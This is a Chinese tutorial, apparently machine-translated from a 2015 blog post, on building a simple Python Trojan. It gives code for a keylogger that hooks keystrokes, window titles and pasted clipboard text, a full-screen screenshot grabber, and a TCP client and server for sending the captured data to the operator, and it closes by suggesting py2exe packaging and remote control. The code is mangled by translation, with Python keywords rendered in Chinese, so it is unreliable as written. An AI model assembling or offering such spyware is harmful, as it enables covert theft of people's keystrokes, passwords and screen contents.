怎么编写木马程序,简单木马程序编写代码
光明日报2015年1月26日10时07分
0x00就绪
文章内容仅供学习研究,不得用于非法用途!
这次用Python写一个简单的木马,有键盘录音,截屏,通讯功能。Sublime text2 JEDI(python自动完成插件)依然用来“编码”。请参考这里安装和配置绝地插件:http://drops.wooyun.org/tips/4413.
首先准备好我们需要的依赖库,python hook和pythoncom。
下载python hook
下载pythoncom模块:
http://sourceforge.net/projects/pywin32/files/pywin32/Build 219/pywin32-219 . win32-py 2.7 . exe/下载
如果觉得麻烦,可以直接用Active python的商业版,里面集成了我们需要的所有python库(我们可以用他的免费版):
http://www.activestate.com/activepython
0x01键盘记录器
说起键盘记录器,大家的思维可能已经飞到了带wifi功能的迷你硬件上了。抛开高科技,我们暂且回归本质,探讨一下简易键盘录音机的原理和实现。
Python keylogger键盘记录器功能的实现主要使用pythoncom和pythonhook,然后对windows API进行各种调用。Python之所以使用起来方便快捷,主要得益于这些庞大的支持库,正所谓“人生苦短,快用Python”。
代码段:#!大蟒
# -*-编码:utf-8 -*-
从ctypes导入*
导入pythoncom
导入pyHook
导入win32剪贴板
user32=windll.user32
kernel32=windll.kernel32
psapi=windll.psapi
当前窗口=无
#
def get_current_process():
#获取顶层窗口句柄
hwnd=user32。GetForegroundWindow()
#获取进程ID
pid=c_ulong(0)
用户32。GetWindowThreadProcessId(hwnd,byref(pid))
#将进程ID存储在变量中
process_id=%d % pid.value
#请求内存
executable=create _ string _ buffer( \ x00 * 512)
h_process=kernel32。OpenProcess(0x400 0x10,False,pid)
psapi。GetModuleBaseNameA(h_process,None,byref(可执行文件),512)
#阅读窗口标题
windows _ title=create _ string _ buffer( \ x00 * 512)
长度=user32。GetWindowTextA(hwnd,byref(windows_title),512)
#打印
打印
打印[ PID:%s-%s-%s] %(进程标识,可执行文件.值,窗口标题.值)
打印
#关闭手柄
kernel32。关闭手柄(hwnd)
kernel32。关闭句柄(h_process)
#定义击键监听事件函数
定义击键(事件):
全局当前窗口
#检测目标窗口是否被转移(当其他窗口改变时监听新窗口)
如果事件。WindowName!=当前窗口:
当前窗口=事件。窗口名称
#函数调用
get_current_process()
#检查击键是否为常规键(非组合键等。)
如果事件。Ascii 32和事件。Ascii 127:
打印chr(事件。Ascii),
否则:
#如果发现Ctrl v(粘贴)事件,记录粘贴板的内容。
如果事件。Key==V :
win32clipboard。OpenClipboard()
pasted_value=win32clipboard。GetClipboardData()
win32clipboard。CloseClipboard()
打印[粘贴]-%s %(粘贴值),
否则:
打印“[% s]”%事件。钥匙,
#循环监听下一个击键事件
返回True
#创建并注册挂钩管理器
kl=pyHook。HookManager()
kl。按键
#注册钩子并执行它
kl。挂钩键盘()
pythoncom。PumpMessages()
复制代码
【知识点】钩子(Hook):一种平台钩子):Windows消息处理机制,在此机制上应用程序可以设置程序在指定的窗口中监控某些消息,被监控的窗口可以由其他进程创建。
编码时注意严格区分大小写。检查后启动键盘记录器:
然后你可以试着打开记事本写点东西。在此过程中,您可以看到我们的键盘记录窗口正在实时记录我们的输入:
切换窗口的时候会自动跟踪到新的窗口(钟:没有这个功能你敢调用键盘记录程序!),光明教授趁机骚扰疯狗。您可以看到,我们的键盘记录器跟踪到了QQ聊天窗口,如实记录了我输入的所有内容。
0x02看看你在做什么:写一个屏幕截图
截屏更容易实现,直接调用几个gui相关的API就可以了。直接看代码吧:#!大蟒
# -*-编码:utf-8 -*-
导入win32gui
导入win32ui
导入win32con
导入win32api
# 获取桌面
hdesktop=win32gui .GetDesktopWindow()
# 分辨率适应
width=win32api .GetSystemMetrics(win32con .SM_CXVIRTUALSCREEN)
height=win32api .GetSystemMetrics(win32con .SM_CYVIRTUALSCREEN)
left=win32api .GetSystemMetrics(win32con .SM _ XVIRTUALSCREEN)
top=win32api .GetSystemMetrics(win32con .SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc=win32gui .GetWindowDC(hdesktop)
img_dc=win32ui .CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc=img_dc .CreateCompatibleDC()
# 创建位图对象
截图=win32ui .CreateBitmap()
截图CreateCompatibleBitmap(img_dc,width,height)
mem_dc .选择对象(截图)
# 截图至内存设备描述表
mem_dc .BitBlt((0,0),(width,height),img_dc,(left,top),win32con .SRCCOPY)
# 将截图保存到文件中
截图SaveBitmapFile(mem_dc, c:\ \ WINDOWS \ \ Temp \ \ snapshot。BMP’)
# 内存释放
mem_dc .DeleteDC()
win32gui .删除对象(截图GetHandle())
复制代码
看看效果如何:
0x03综合运用:完成一个简易木马
无论是键盘记录器记录下的内容,还是截屏机截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单计算机网络服务器和客户端来进行通信,传输记录下的内容到我们的服务器上。
编写一个简单的TCPclient#!大蟒
# -*-编码:utf-8 -*-
导入插座
# 目标地址IP/URL及端口
target_host=127.0.0.1
目标端口=9999
# 创建一个窝对象
客户端=套接字.套接字(套接字AF_INET,socket .袜子_流)
# 连接主机
client.connect(目标主机,目标端口))
# 发送数据
客户。send( GET/HTTP/1.1 \ r \ n主机:127。0 .0 .1 \ r \ n \ r \ n )
# 接收响应
response=client.recv(4096)
打印响应
复制代码
编写一个简单的TCPserver#!大蟒
# -*-编码:utf-8 -*-
导入插座
导入线程
# 监听的互联网协议(互联网协议)及端口
bind_ip=127.0.0.1
bind_port=9999
server=socket.socket(套接字.AF_INET,插座.袜子_流)
server.bind((bind_ip,bind_port))
server.listen(5)
打印[*]侦听% s:% d“%(绑定ip,绑定端口)
定义句柄_客户端(客户端_套接字):
请求=客户端_套接字。recv(1024)
收到的打印[*]请求:% s %
client_socket.send(ok!)
客户端_套接字。关闭()
虽然正确:
client,addr=server.accept()
打印[*]接受来自以下位置的连接:% s:% d“%(地址[0],地址[1])
客户端处理程序=线程。线程(target=handle_client,args=(client,))
client_handler.start()
复制代码
开启服务端监听:
客户端执行:
服务端接收到客户端的请求并作出响应:
0x04结语
最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成可执行程序的扩展名可执行文件。当然你还可以继续发挥,加上远程控制功能Py2exe .用法可以参考这里:
http://www.py2exe.org/index.cgi/Tutorial
享受编码吧~
参考文档:
《Black Hat Python》 https://www.google.com https://www.python.org/http://www.py2exe.org/
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。